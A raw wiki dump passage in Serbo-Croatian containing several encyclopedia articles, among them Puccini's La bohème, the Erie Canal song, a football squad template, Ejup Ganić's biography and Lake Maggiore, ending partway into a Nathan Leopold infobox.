[[Kategorija:Otoci u Hrvatskoj|#]] [[Kategorija:Geografske liste|Hrvatski otoci, naseljeni]] n9qu4ak9kijozva10735bxupdyjx4de 0 142007 42602619 42176669 2026-05-27T22:10:22Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602619 wikitext text/x-wiki {{italic title}} {{drugo značenje3|Boemi}} {{Infokutija Opera (HR) | ime = La bohème | slika = [[Datoteka:Al quartiere latino, bozzetto di Adolf Hohenstein per La Bohème (1896) - Archivio Storico Ricordi ICON000086 - Restoration.jpg|200px]] | opis = Prizor za II. čin iz 1893. | autor = {{ZD|ITA}} [[Giacomo Puccini]] | libreto = Luigi Illica<br />Giuseppe Giacosa | godina = [[1896]]. | praizvedba = [[1. 2.|1. veljače]] [[1896]].<br /><small>{{ZD|ITA}} [[Torino]], [[Italija]]</small> | arije = ''Che gelida manina''<br />''Sì. Mi chiamano Mimi''<br />''O soave fanciulla ''<br />''[[Quando me n'vo soletta per la via]] ''<br />''Addio dolce svegliare''<br />''Vecchia zimarra, senti '' | likovi = {{brewbox_opere|ime_lika=Rodolfo|glas=[[tenor]]}} {{brewbox_opere|ime_lika=Mimì|glas=[[soprani|sopran]]}} {{brewbox_opere|ime_lika=Marcello|glas=[[bariton]]}} {{brewbox_opere|ime_lika=Schaunard|glas=[[bariton]]}} {{brewbox_opere|ime_lika=Colline|glas=[[bas (glas)|bas]]}} {{brewbox_opere|ime_lika=Musetta|glas=[[soprani|sopran]]}} {{brewbox_opere|ime_lika=Benoît|glas=[[bas (glas)|bas]]}} {{brewbox_opere|ime_lika=Alcindoro|glas=[[bas (glas)|bas]]}} {{brewbox_opere|ime_lika=Parpignol|glas=[[tenor]]}} {{brewbox_opere|ime_lika=Carinik|glas=[[bas (glas)|bas]]}} }} {{Pučinijeve_opere}} '''''Boemi''''' ('''''La bohème''''', [[francuski|franc.]] izg. [[međunarodni fonetski alfabet|[la bɔˈɛm]]], [[italijanski|ital.]] [[međunarodni fonetski alfabet|[la boˈɛm]]]), [[opera]], ''scene iz boemskog života'' u četiri dela [[Giacomo Puccini|Đakoma Pučinija]] == Libreto == [[Libreto]] za operu napisali su [[Luigi Illica]] i [[Giuseppe Giacosa]] prema romanu ''"Scene iz boemskog života"'' (''"Scènes de la vie de bohème"'') kojeg je napisao [[Luis-Henri Murger]]. == Sadržaj == === I deo === Rodolfo, Šonard, Kolin i Marčelo žive na mansardi nad krovovima Pariza. Badnje je veče, a oni su bez novaca i bez ogreva. Marčelu je toliko hladno da ne može da drži četkicu. Rodolfo žrtvuje svoj rukopis da bi ih zagrejao. Kolin se vraća iz zalagaonice gde je hteo da da neke svoje knjige, ali je bila zatvorena. Pojavljuje se Šonar sa novcem, ogrevom, hranom i vinom, platom od nekog engleskog lorda. Oni odlučuju da proslave Badnje veče u lokalu koji redovno posećuju, „''Café Momus''”. Kućevlasnik im kuca na vrata i traži već dugo neplaćenu stanarinu. Oni ga časte pićem i zapričavaju, a kada se on izbrblja da bi hteo naći mladu i zgodnu ženu, umesto svoje stare i ružne, oni to iskoriste da ga izbace napolje kao preljubnika. Napokon kreću u restoran, a Rodolfo ostaje da završi neki članak za novine. Neko mu kuca na vrata: to je mlada komšinica kojij se sveća ugasila u hodniku i moli ga da joj je ponovo upali. Najednom joj pozli i on je ponudi da sedne i da joj malo vina. Ona krene napolje ali shvati da joj je negde ispao ključ. Promaja ugasi sveće i dok traže po mraku, Rodolfo je uhvati za hlasnu ruku. On joj priča o sebi i traži od nje isto. Prijatelji ga zovu sa ulice i njih dvoje zagrljeni odlaze sa njima. === II deo === Velika je gužva u Latinskoj četvrti. Rodolfo je kupio Mimi crvenu kapicu. Upoznaje je sa prijateljima i započinje razgovor o ljubavi. Najednom u lokal ulazi lepo odevena devojka u pratnji starog gospodina. To je Mizeta, Marčelova bivša ljubavnica. Već joj je dosadio stari Alčindoro i ona stalno pokušava da privuče Marčelovu pažnju. Pod izgovorom da je cipela žulja, ona pošalje Alčindora da joj kupi nove, i stari ljubavnici su ponovo zajedno. Svi odlaze za vojnim orkestrom, a kada se Alčindoro vrati, dočeka ga samo poveći račun koji su za sobom ostavili. === III deo === Mizeta i Marčelo su odseli u krčmi kraj kapije Pariza. Mimi dolazi da nađe Marčela i očajno mu poverava da ju je Rodolfo napustio iz ljubomore. Kada se Rodolfo pojavi, ona se sakrije iza drveta i čuje pravi razlog njegovog odlaska: Mimi je ozbiljno bolesna i on ne može da podnese njene patnje jer je previše voli. Ona mu se baca u naručje i oprašta se od njega, dok se Mizeta i Marčelo svađaju. === IV deo === Rodolfo i Marčelo su ponovo u stanu na mansardi, zalud pokušavajući da zaborave devojke koje vole. Kolin i Šonar donose hleb i haringe. Svi se goste i veselo igraju po sobi, a Šonar i Kolin se bore sa lopatom i mašicama za ugalj. Odjednom dolazi Mizeta sa smrtno bolesnom Mimi, koju je našla na stepenicama. Mimi je došla da još jednom vidi svog dragog. Stavljaju je u krevet. Mizeta odlazi da joj kupi muf za njene ledene ruke, Marčelo da dovede lekara, a Kolin da založi svoj kaput da bi sve to platili. Rodolfo i Mimi ostaju sami i sećaju se svog prvog susreta. Ostali se vraćaju i Mimi je presrećna zbog novog [[muf]]a, verujući da je to poklon od Rodolfa i srećno zaspi. Mizeta sprema lek koji je Marčelo doneo, ali kada Šonar želi da probudi Mimi, shvata da je ona umrla. Rodolfo u suzama grli svoju voljenu. == Poznate muzičke numere == * ''Che gelida manina'' (''Kako Vam je hladna ruka'') – Rodolfova arija (I deo) * ''Sì. Mi chiamano Mimi'' (''Da, mene zovu Mimi'') – arija Mimi (I čin) * ''O soave fanciulla'' (''O divna devojko'') – duet Rodolfa i Mimi (I čin) * ''Quando me’n vo’...'' (''Kada ja pođem'') – arija Mizete (II čin) * ''Addio dolce svegliare'' (''Zbogom divnim trenucima'') – opraštanje Rodolfa i Mimi (III čin) * ''Vecchia zimarra, senti'' (''Stari kaputu čuj me'') – Kolinova arija (IV čin) == Povezano == * [[Rent (mjuzikl)]] == Vanjske veze == {{Commonscat|La bohème}} * '''Libreto''' ** [http://opera.stanford.edu/Puccini/LaBoheme/libretto.html Libreto opere (Opera Stanford)] {{Webarchive|url=https://web.archive.org/web/20100713034805/http://opera.stanford.edu/Puccini/LaBoheme/libretto.html |date=2010-07-13 }} * '''Note''' ** [http://www.dlib.indiana.edu/variations/scores/bhq3853/large/index.html Klavirski izvod opere (William and Gayle Cook Music Library)] {{normativna kontrola}} [[Kategorija:Problemi]] [[Kategorija:Opere 1896.]] [[Kategorija:Opere na italijanskom jeziku]] [[Kategorija:Italijanske opere]] pf4lqonc3fr693uh5ohm6h2i7djtrru 0 150777 42602695 42250606 2026-05-28T08:11:43Z InternetArchiveBot 155863 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602695 wikitext text/x-wiki '''''Fifteen Miles on the Erie Canal''''', također poznata i pod naslovima '''''Low Bridge, Everybody Down''''', '''''The Erie Canal Song''''' i '''''Mule Named Sal''''' je pjesma koju je 1905. napisao američki kompozitor [[Thomas S. Allen]]. Tekst govori o [[Kanal Erie|Kanalu Erie]], ključnoj prometnici [[Sjeveroistok SAD|Sjeveroistoka SAD]], s nostalgijom opisujući vrijeme kada su njime teret vukle [[mazga|mazge]] umjesto [[parobrod]]a i [[željeznica]]. Pjesma je kasnije dobila status američke [[narodna muzika|narodne pjesme]] te su je obrađivali brojni [[folk muzika|folk izvođači]]. == Vanjske veze == * [http://www.eriecanalsong.com/ The Erie Canal Song: Low Bridge] {{Webarchive|url=https://web.archive.org/web/20120224112726/http://www.eriecanalsong.com/ |date=2012-02-24 }} - Lyrics, Sheet Music, Multiple Audio Performances and other classic Erie Canal songs. * [http://www.kididdles.com/lyrics/e014.html Lyrics to ''The Erie Canal'' with MIDI audio] * [http://eriecanalsong.com/sheetmusic/LowBridgeEverybodyDown.pdf Sheet music to ''Low Bridge'' in PDF format] {{Webarchive|url=https://web.archive.org/web/20120227191509/http://eriecanalsong.com/sheetmusic/LowBridgeEverybodyDown.pdf |date=2012-02-27 }} * [http://www.archive.org/download/BillyMurray_part3/BillyMurray-LowBridgeEverybodyDown.mp3 MP3 of 78RPM recording of ''Low Bridge Everybody Down'' by Billy Murray] from [http://www.archive.org/details/BillyMurray_part3 a collection of his recordings at Internet Archive] {{Normativna kontrola}} [[Kategorija:Pjesme 1905.]] lcvyhhys6l9wntd8mauk5rh28q7qc60 10 154395 42602555 40829627 2026-05-27T14:15:28Z Edgar Allan Poe 29250 42602555 wikitext text/x-wiki {{navbox |name = {{{name<noinclude>|{{PAGENAME}}</noinclude>}}} |titlestyle = background: {{{bg|transparent}}}; color:{{{fg|inherit}}}; border: 1px solid {{{bordercolor|#aaa}}}; |listclass = hlist |image = {{flagicon|{{{country}}}|{{{flagvar|}}}|size=50px}} |title = [[Fudbalska reprezentacija {{{team link|{{{genitiv}}}}}}|<span style="color: {{{fg|inherit}}};">{{{title|Sastav {{{genitiv}}} }}}</span>]] <span style="color: {{{fg|inherit}}};"> na </span> [[{{{comp link|{{{comp}}}}}}|<span style="color: {{{fg}}};">{{{comp}}}</span>]] |list1 = * <small>{{{pos1}}}</small> {{{p1}}} * <small>{{{pos2}}}</small> {{{p2}}} * <small>{{{pos3}}}</small> {{{p3}}} * <small>{{{pos4}}}</small> {{{p4}}} * <small>{{{pos5}}}</small> {{{p5}}} * <small>{{{pos6}}}</small> {{{p6}}} * <small>{{{pos7}}}</small> {{{p7}}} * <small>{{{pos8}}}</small> {{{p8}}} * <small>{{{pos9}}}</small> {{{p9}}} * <small>{{{pos10}}}</small> {{{p10}}} * <small>{{{pos11}}}</small> {{{p11}}}<!-- -->{{#if: {{{p12|<noinclude>-</noinclude>}}} | * <small>{{{pos12}}}</small> {{{p12}}}}}<!-- -->{{#if: {{{p13|<noinclude>-</noinclude>}}} | * <small>{{{pos13}}}</small> {{{p13}}}}}<!-- -->{{#if: {{{p14|<noinclude>-</noinclude>}}} | * <small>{{{pos14}}}</small> {{{p14}}}}}<!-- -->{{#if: {{{p15|<noinclude>-</noinclude>}}} | * <small>{{{pos15}}}</small> {{{p15}}}}}<!-- -->{{#if: {{{p16|<noinclude>-</noinclude>}}} | * <small>{{{pos16}}}</small> {{{p16}}}}}<!-- -->{{#if: {{{p17|<noinclude>-</noinclude>}}} | * <small>{{{pos17}}}</small> {{{p17}}}}}<!-- -->{{#if: {{{p18|<noinclude>-</noinclude>}}} | * <small>{{{pos18}}}</small> {{{p18}}}}}<!-- -->{{#if: {{{p19|<noinclude>-</noinclude>}}} | * <small>{{{pos19}}}</small> {{{p19}}}}}<!-- -->{{#if: {{{p20|<noinclude>-</noinclude>}}} | * <small>{{{pos20}}}</small> {{{p20}}}}}<!-- -->{{#if: {{{p21|<noinclude>-</noinclude>}}} | * <small>{{{pos21}}}</small> {{{p21}}}}}<!-- -->{{#if: {{{p22|<noinclude>-</noinclude>}}} | * <small>{{{pos22}}}</small> {{{p22}}}}}<!-- -->{{#if: {{{p23|<noinclude>-</noinclude>}}} | * <small>{{{pos23}}}</small> {{{p23}}}}}<!-- -->{{#if: {{{p24|<noinclude>-</noinclude>}}} | * <small>{{{pos24}}}</small> {{{p24}}}}}<!-- -->{{#if: {{{p25|<noinclude>-</noinclude>}}} | * <small>{{{pos25}}}</small> {{{p25}}}}}<!-- -->{{#if: {{{p26|<noinclude>-</noinclude>}}} | * <small>{{{pos26}}}</small> {{{p26}}}}}<!-- -->{{#if: {{{p27|<noinclude>-</noinclude>}}} | * <small>{{{pos27}}}</small> {{{p27}}}}}<!-- -->{{#if: {{{p28|<noinclude>-</noinclude>}}} | * <small>{{{pos28}}}</small> {{{p28}}}}}<!-- -->{{#if: {{{p29|<noinclude>-</noinclude>}}} | * <small>{{{pos29}}}</small> {{{p29}}}}}<!-- -->{{#if: {{{p30|<noinclude>-</noinclude>}}} | * <small>{{{pos30}}}</small> {{{p30}}}}}<!-- -->{{#if: {{{p31|<noinclude>-</noinclude>}}} | * <small>{{{pos31}}}</small> {{{p31}}}}}<!-- -->{{#if: {{{p32|<noinclude>-</noinclude>}}} | * <small>{{{pos32}}}</small> {{{p32}}}}}<!-- -->{{#if: {{{p33|<noinclude>-</noinclude>}}} | * <small>{{{pos33}}}</small> {{{p33}}}}}<!-- -->{{#if: {{{p34|<noinclude>-</noinclude>}}} | * <small>{{{pos34}}}</small> {{{p34}}}}}<!-- -->{{#if: {{{p35|<noinclude>-</noinclude>}}} | * <small>{{{pos35}}}</small> {{{p35}}}}}<!-- -->{{#if: {{{p36|<noinclude>-</noinclude>}}} | * <small>{{{pos36}}}</small> {{{p36}}}}}<!-- -->{{#if: {{{p37|<noinclude>-</noinclude>}}} | * <small>{{{pos37}}}</small> {{{p37}}}}}<!-- -->{{#if: {{{p38|<noinclude>-</noinclude>}}} | * <small>{{{pos38}}}</small> {{{p38}}}}}<!-- -->{{#if: {{{p39|<noinclude>-</noinclude>}}} | * <small>{{{pos39}}}</small> {{{p39}}}}}<!-- -->{{#if: {{{p40|<noinclude>-</noinclude>}}} | * <small>{{{pos40}}}</small> {{{p40}}}}}<!-- -->{{#if: {{{coach|<noinclude>-</noinclude>}}} | * <small>Izbornik:</small> {{{coach}}}}} |list3 = {{#if:{{{note|}}} | <small>{{{note|}}}</small> }} }}<noinclude> {{documentation}} </noinclude> 0cpli9r9y1w9c7bfti49u2qjf81iamg 0 154840 42602589 42591379 2026-05-27T18:30:58Z Bakir123 129685 42602589 wikitext text/x-wiki {{Infokutija politički vođa |ime = Ejup Ganić |slika = Ejup Ganić.jpg |redoslijed = Predsjednik [[Federacija Bosne i Hercegovine|FBiH]] |vrijeme_na_vlasti = 29. decembar 1997 - 1. januar 1999 |prethodnik =Vladimir Šoljić |nasljednik =Ivo Andrić-Lužanski |redoslijed2 =Predsjednik [[Federacija Bosne i Hercegovine|FBiH]] |vrijeme_na_vlasti2 =1. januar 2000 - 1. januar 2001 |prethodnik2 =Ivo Andrić-Lužanski |nasljednik2 =Ivo Andrić-Lužanski Član Predsjedništva Bosne i Hercegovine 1990-1996 |redoslijed3 = |vrijeme_na_vlasti3 = |prethodnik3 = |nasljednik3 = |datum_rođenja = [[3. 3.|3. mart]] [[1946]] |mjesto_rođenja = [[Novi Pazar]], [[Jugoslavija]] (danas Srbija) |datum_smrti = |puno_ime = Ejup Ganić |nacionalnost = [[Bošnjaci|Bošnjak]] |politička_stranka = [[Stranka demokratske akcije|SDA]] (1990-2000) |supruga = <!-- --> |djeca = |obrazovanje = |vjera = [[Islam]] |potpis = |web_stranica = }} '''Ejup Ganić''' (1946 -) je [[bosna i Hercegovina|bosanskohercegovački]] političar i naučnik, poznat kao jedan od najistaknutijih [[Bošnjaci|bošnjačkih]] vođa za vrijeme [[rat u Bosni i Hercegovini|rata]], odnosno član ratnog Predsjedništva [[Bosna i Hercegovina|RBiH]], odnosno kao bivši predsjednik i potpredsjednik [[Federacija Bosne i Hercegovine|Federacije BiH]]. Rođen [[1946]]. u Sebečevu, [[Novi Pazar]]. Diplomirao i magistrirao na [[Univerzitet u Beogradu|Univerzitetu u Beogradu]]. Doktorirao na Tehnološkom institutu u [[Boston]]u (MIT), [[Sjedinjene Američke Države|SAD]]. Radio kao samostalni istraživač u Institutu za hemiju, tehnologiju i metalurgiju u [[Beograd]]u, asistent-istraživač na ''Massachusetts Institut of Technology'' (MIT), Cambridge (SAD), stariji istraživač na ''Union Cambridge Corporation-Linde Division'', New York (SAD), docent na univerzitetima u New Yorku i Chicagu, vanredni profesor ''University of Illinoisat'', Chicago, direktor UNIS-Instituta, gostujući profesor Univerziteta Lomonosov (Rusija). Političku karijeru je započeo nakon dolaska višestranačja u BiH 1990. kada se priključio tadašnjoj [[Muslimani (narod)|muslimanskoj]] (bošnjačkoj) [[Stranka demokratske akcije|Stranci demokratske akcije]]. Ta ga je stranka kandidirala na prvim [[Predsjednički izbori u BiH 1990|višestranačkim izborima]] za sedmeročlano Predsjedništvo SR BiH, gdje je bio njen treći kandidat - uz [[Alija Izetbegović|Aliju Izetbegovića]] i [[Fikret Abdić|Fikreta Abdića]], koji su se kandidirali za mjesta predviđena za Muslimane. Ganić se kandidirao za predsjedničko mjesto određeno za "ostale", i nacionalno deklarirao kao [[Jugoslaveni|Jugoslaven]]. Na njima je izabran sa 32,2 % glasova. Za vrijeme rata je igrao važnu ulogu, pogotovo na samom početku [[Opsada Sarajeva|opsade Sarajeva]], odnosno u kritičnim trenucima u maju 1992. kada je zamjenjivao Izetbegovića koga je zarobljenog držala [[Jugoslovenska narodna armija|JNA]]. Njegova uloga u događajima poznatima kao [[Slučaj Dobrovoljačka]] je predmet kontroverzi i optužbi za ratne zločine ([[Ejup Ganić#Optužnica za ratne zločine|v. dolje]]). Nešto kasnije je, nakon izbijanja [[bošnjačko-hrvatski sukob|muslimansko-hrvatskog sukoba]] u tadašnjim [[Hrvatska|hrvatskim]] medijima opisivan kao ekstremist, te mu se pripisivalo podsticanje masakra hrvatskih radnika u [[Alžir]]u.<ref>{{Cite web| title = Preživjeli Marko: Prerezali su mi vrat jer nisam znao molitvu iz Kur’ana| publisher = Jutarnji.hr| accessdate = 5. V 2012| url = http://www.jutarnji.hr/template/article/article-print.jsp?id=782770| archive-date = 2016-03-07| archive-url = https://web.archive.org/web/20160307025955/http://www.jutarnji.hr/template/article/article-print.jsp?id=782770| dead-url = yes}}</ref> Obavljao je dužnosti člana [[Predsjedništvo RBiH|Predsjedništva RBiH]], predsjednika FBiH, rukovodioca komisije FBiH u arbitražnom postupku za [[Brčko]]. Objavio preko 100 naučnih i stručnih radova, među kojima su knjige: "Handbook of Heat Transfer Fundamentals", "Experimental Heat Transfer", "Engineering Turbulence Modelling and Measurements". Član je American Nuclear Society i više drugih naučnih i stručnih asocijacija. Dobitnik nagrade "Veselin Masleša". Živi i radi u Sarajevu. == Optužnica za ratne zločine == Ejup Ganić uhapšen je 1. marta 2010. godine, na londonskom aerodromu [[Heathrow]], pod optužbom da je kriv za smrt najmanje 18 vojnika [[Jugoslovenska narodna armija|JNA]] 3. maja 1992. godine u [[slučaj Dobrovoljačka|incidentu u Dobrovoljačkoj ulici]] u Sarajevu. Optužnica je podignuta od strane Srbije, a zahtjev za izručenje sudstvu Velike Britanije, upućen je od strane Srbije i Bosne i Hercegovine.<ref>[http://diepresse.com/home/politik/aussenpolitik/543615/index.do?direct=543492&_vl_backlink=/home/politik/aussenpolitik/index.do&selChannel= Bosnien und Serbien wollen Auslieferung von Ex-Präsident Ganic, članak u Die Presse, austrijskom dnevniku, 2. marta 2010. godine]</ref>. Ganić je u pritvoru trebao ostati do 29. marta, međutim pušten je nakon što je bosanska investitorka [[Sanela Diana Jenkins]] platila kauciju. Sudac John Laws je primjetio da je srpska optužba bila politički motivirana te je iz tog razloga dopustio puštanje na slobodu uz kauciju.<ref name="sar-x">{{Cite web |title=Ejup Ganić pušten da se brani sa slobode - Klix.ba<!-- Bot generated title --> |url=http://www.sarajevo-x.com/bih/clanak/100311058 |access-date=2012-05-04 |archivedate=2010-06-16 |archiveurl=https://web.archive.org/web/20100616101403/http://www.sarajevo-x.com/bih/clanak/100311058 |deadurl=yes }}</ref> Također, Ganićev advokat je tvrdio da Srbija nema nikakvih stvarnih dokaza te su svih njeni navodni dokazi ustvari pisanja prosrpskih medija u vezi događaja u Dobrovoljačkoj ulici<ref name=autogenerated1>sarx</ref>. Međutim, kancelarija srpskog tužioca je tvrdila da slučaj sadrži dodatne dokaze<ref name="upi.com">[http://www.upi.com/Top_News/International/2010/03/26/Serbia-pushes-again-for-Ganic-extradition/UPI-99931269612918/ Serbia pushes again for Ganic extradition - UPI.com<!-- Bot generated title -->]</ref>. Dana 27. jula 2010. godine, sud grada Westminster je blokirao njegovo izručenje Srbiji i pustio ga na slobodu, navodeći da je ''proces izručenja Srbiji pokrenut i motiviran isključivo političkim ciljevima i uz veliku dozu zloupotrebe prava ovog suda''<ref>{{cite news |first=Ron |last=Synovitz |title=Former Bosnian Leader Returns To Sarajevo After U.K. Rejects Serbian Extradition |url=http://www.rferl.org/content/Former_Bosnian_Leader_Returns_To_Sarajevo_After_UK_Rejects_Serbian_Extradition/2112338.html |work=Radio Free Europe/Radio Liberty |date=28 July 2010 |accessdate=29. VII 2010}}</ref>. == Reference == {{reference}} {{Lifetime|1946||Ganić, Ejup}} [[Kategorija:Bosanskohercegovački političari]] [[Kategorija:Optuženi za ratne zločine]] [[Kategorija:Članovi ANUBiH]] [[Kategorija:Biografije, Novi Pazar]] g7193aw0j00bf4qst7hiioo3psbsrbo 0 155153 42602710 42486837 2026-05-28T10:41:57Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602710 wikitext text/x-wiki {{Jezero |ime=Jezero Maggiore |slika=LagoMaggiore.jpg |slika_opis= <small>Pogled na ''Lago Maggiore'' i [[Alpe]]</small> |površina=212 <ref name=brit/> |širina-stupnjevi = 45 |širina-minute = 57 |širina-oznaka = N |dužina-stupnjevi = 8 |dužina-minute = 38 |dužina-oznaka = E |zapremina=37 |dubina=372 <ref name=brit/> |visina=193 <ref name=brit/> |širina=11 |dužina=66 <ref name=brit/> |vrsta=[[Glacijalno jezero|glacijalno]], protočno | pritok = [[Ticino (rijeka)|Ticino]], [[Maggia]], Toce, Tresa | ulijeva = [[Ticino (rijeka)|Ticino]] |države={{flag|Italija}}<br />{{flag|Švicarska}} }} '''Jezero Maggiore''' ([[italijanski jezik|talijanski]]: ''Lago Maggiore'', [[latinski jezik|latinski]]: ''Lacus Verbanus'' doslovno prevedeno '''Veliko jezero'''<ref name=brit/>) je [[glacijalno jezero]] koje se prostire po [[Regije Italije|talijanskim regijama]] [[Lombardija]] i [[Pijemont]] i [[švajcarska|švicarskom]] [[kanton]]u [[Ticino]]. ''Jezero Maggiore'' je najzapadnije od tri velika [[Alpe|alpska]] jezera pored [[Milano|Milana]], koje se prostire u dužini od 70&nbsp;km od [[Locarno|Locarna]] u [[Švajcarska|Švicarskoj]] do [[Arona, Pijemont|Arona]] u [[Italija|Italiji]]. == Geografija == [[Datoteka:Lago Maggiore-Mappa.png|left|thumb|220px|Karta jezera Maggiore]] ''Jezero Maggiore'' prostire se od [[švajcarska|švicarskih]] [[Alpe|Alpa]] do [[Lombardija|lombardske]] nizine u [[Italija|Italiji]].<ref name=brit/> Ono ima površinu od 212 [[kvadratni kilometar|km²]] <ref name=brit/> i drugo je jezero po veličini u Italiji nakon jezera [[Lago di Garda|Garda]] i najveće jezero u [[švajcarska|švicarskom]] [[kanton]]u [[Ticino]], sa dubinom od 372 metara <ref name=brit/> predstavlja jedno od najdubljih jezera [[Evropa|Evrope]].<ref name=brit>{{cite web | url =http://www.britannica.com/EBchecked/topic/356584/Lake-Maggiore | title =''Lake Maggiore'' | accessdate = 5. 05. 2012 | language=engleski | publisher=Encyclopædia Britannica Online }}</ref> ''Jezero Maggiore'' prima vode od slijedećih rijeka: (od sjevera prema jugu) [[Ticino (rijeka)|Ticino]], [[Maggia]], Toce (zapad) i Trese sa [[Lugano (jezero)|Jezera Lugano]] na istoku.<ref name=brit/> Jezero ima brojne [[ostrvo|otoke]] od kojih je najpoznatija grupa [[Isole Borromee]] uz zapadnu obalu jezera, koji [[Geologija|geološki]] predstavljaju nastavak Rta Pallanza.<ref name=brit/> Jezerske vode bogate su ribom; [[lososi|pastrve]], [[štuke]], [[smuđ]]evi i [[Aloza|aloze]]. Poznati gradovi uz obale jezera su; [[Stresa]], [[Verbania]], [[Arona, Pijemont|Arona]] i [[Cannobio]] (na zapadnoj obali), [[Luino]] i [[Laveno-Mombello]] (na istočnoj obali) i [[Locarno]] u [[Švajcarska|Švicarskoj]] na krajnjem sjeveru. Između njih odvija se intenzivni brodski prijevoz ljudi i vozila.<ref name=brit/> Jugozapadno od grada [[Verbania|Verbanija]] uzdiže se Planina Mottarone (1491 m) koja se prostire između ''Jezero Maggiore'' i [[Orta (jezero)|Jezero Orta]].<ref name=brit/> === Klima === Klima je blaga ljeti i zimi, tako da uz obale jezera rastu [[sredozemno more|mediteranske]] biljke i [[palme]]<ref name=brit/>, ''Jezero Maggiore'' je svjetski poznato po svojim bujnim [[park]]ovima i vrtovima na kojima rastu rijetko egzotično bilje. Poznati vrtovi su po otocima Isola Madre, Isola Bella i Isole di Brissago, park kod Ville Taranto u [[Verbania|Verbaniji]], te botanički vrt Alpinia iznad [[Stresa]].<ref name=brit/> === Otoci na jezeru === [[Datoteka:Lago-Maggiore 1491a.jpg|thumb|right|280px|Otok na jezeru - Isola Bella]] * [[Isole Borromee]] (tri otoka i dvije hridi između gradova [[Verbania]] (sjever) i [[Stresa]] (jug). ** Isola Bella ** Isola Madre ** Isola dei Pescatori (ili Isola Superiore) ** Isolino di San Giovanni (ispred [[Verbania|Verbanie]]) ** Scoglio della Malghera (između Isole Belle i Isole Pescatori) * [[Isole di Brissago]] (pored [[Brissago|Brissaga]]) ** San Pancrazio ili Grande Isola) ** Isolino (ili Isola Piccola, ali i Isola di Sant’Apollinare) * [[Castelli di Cannero]] (tri mala otočića ispred gradića [[Cannero Riviera]]) * Isolino Partegora (u zaljevu kod grada [[Angera]]) == Historija == Stanovnici koji su živjeli uz obale ''Jezera Maggiore'' mijenjali su su se tokom vijekova, od [[Kelti|Kelta]], pa zatim [[Gali|Galla]], nakon njih [[Barbari|Barbara]] da bi nakon njih krajem zavladali [[Antički Rim|Rimljani]]. Tokom srednjeg vijeka krajem su vladale [[Milano|milanske]] [[Feudalizam|feudalne]] [[Dinastija|dinastije]]; [[Visconti]], [[Sforze]] i [[Borromeo]].<ref name=histo/>[[Borromeo|Borromeji]] su i dan danas najveći posjednici zemlje oko jezera, koju su stekli još od [[15. vijek]]a, oni još uvijek posjeduju otoke i pravo na izlov ribe po jezeru.<ref name=brit/> [[Trgovina]] je bila glavna djelatnost stanovništva uz obale jezera, koja se dugo vremena obavljala samo po jezeru, a od početka [[19. vijek]]a kad je izgrađen [[Simplonski prolaz]] i prva javna cesta proširila se na širu okolinu. Početkom [[20. vijek]]a kad je izgrađena [[željeznica|željeznička]] pruga i [[Simplonski tunel]] uz trgovinu je procvjetao i [[turizam]], izgrađeni su brojni [[hotel]]i, te aktivnosti traju do danas.<ref name=histo>{{cite web | url =http://www.lagomaggioreonline.it/history_lake_maggiore.htm | title =''The History Of Lake Maggiore '' | accessdate =5. 05. 2012 | language =engleski | publisher =Lago Maggiore online | archive-date =2016-06-13 | archive-url =https://web.archive.org/web/20160613122554/http://www.lagomaggioreonline.it/history_lake_maggiore.htm }}</ref> == Porijeklo imena == ''Lago Maggiore'' jednostavno znači ''Veliko jezero'', ime je dobilo zato jer je znatno veće od susjedniih jezera [[Orta (jezero)|Orta]] i [[Varese (jezero)|Varese]].<ref name=brit/> == Naselja uz Jezero Maggiore == [[Datoteka:LagoMaggiore.JPG|thumb|right|300px|Panorama jezera]] <table class=wikitable> <caption>Gradovi i naselja na jezeru Maggiore</caption> <tr> <th>[[Švajcarska|Švicarska]]<br />[[Kantoni Švicarske|kanton]] [[Ticino]] <th>[[Italija]]<br />[[Regije Italije|Regija]] [[Pijemont]] <th>Italija<br />Regija [[Lombardija]] <tr valign=top> <td> * [[Sant'Abbondio]] * [[Gerra (Gambarogno)|Gerra]] * [[San Nazzaro, Švicarska|San Nazzaro]] * [[Vira (Gambarogno)|Vira]] * [[Magadino]] * [[Tenero]] * [[Locarno]] * [[Ascona]] * [[Ronco sopra Ascona]] * [[Brissago]] * [[Minusio]] * [[Muralto]] <td> * [[Cannobio]] * [[Cannero Riviera]] * [[Oggebbio]] * [[Ghiffa]] * [[Verbania]] * [[Baveno]] * [[Stresa]] * [[Belgirate]] * [[Lesa]] * [[Meina]] * [[Arona, Pijemont|Arona]] * [[Dormelletto]] * [[Castelletto sopra Ticino]] <td> * [[Sesto Calende]] * [[Angera]] * [[Ranco, Italija|Ranco]] * [[Ispra]] * [[Brebbia]] * [[Besozzo]] * [[Monvalle]] * [[Leggiuno]] * [[Laveno-Mombello]] * [[Castelveccana]] * [[Porto Valtravaglia]] * [[Brezzo di Bedero]] * [[Germignaga]] * [[Luino]] * [[Maccagno]] * [[Tronzano Lago Maggiore]] * [[Pino sulla Sponda del Lago Maggiore]] </table> {{Panoramica|Vista del Lago Maggiore dall'Isola Madre.jpg|1000px|Panorama jezera sa otoka Madre}} == Izvori == {{izvori}} == Vanjske veze == * [http://www.britannica.com/EBchecked/topic/356584/Lake-Maggiore Lake Maggiore (na portalu Encyclopædia Britannica Online)] {{en icon}} * [http://www.lagomaggioreonline.it/ Lago Maggiore online] {{Webarchive|url=https://web.archive.org/web/20110129230000/http://www.lagomaggioreonline.it/ |date=2011-01-29 }} {{en icon}} * [http://www.lago-maggiore.info/ Lago Maggiore] {{en icon}} * [http://www.navigazionelaghi.it/ Red plovidbe trajekata po Jezeru Maggiore] {{it icon}} {{commonscat|Lake Maggiore}} [[Kategorija:Jezera u Italiji]] 558838osqp3tn2261t8koxh2zfhha9b 0 157040 42602643 42493825 2026-05-28T01:47:17Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602643 wikitext text/x-wiki {{Infokutija kriminalac |ime = Nathan Leopold |slika = Nathan-Leopold.jpg |opis = Portret Nathana Leopolda (c. 1924) |širina_slike = |ime_po_rođenju = Nathan Freudenthal Leopold, Jr. |datum_rođenja = [[19. 11.]] [[1904.]] |mjesto_rođenja = {{flagicon|SAD}} [[Chicago]], [[Illinois]], [[Sjedinjene Američke Države|SAD]] |datum_smrti = [[29. 8.]] [[1971.]] |mjesto_smrti = {{flagicon|Portoriko}} [[Adjuntas]], [[Portoriko]] |uzrok = [[srčani 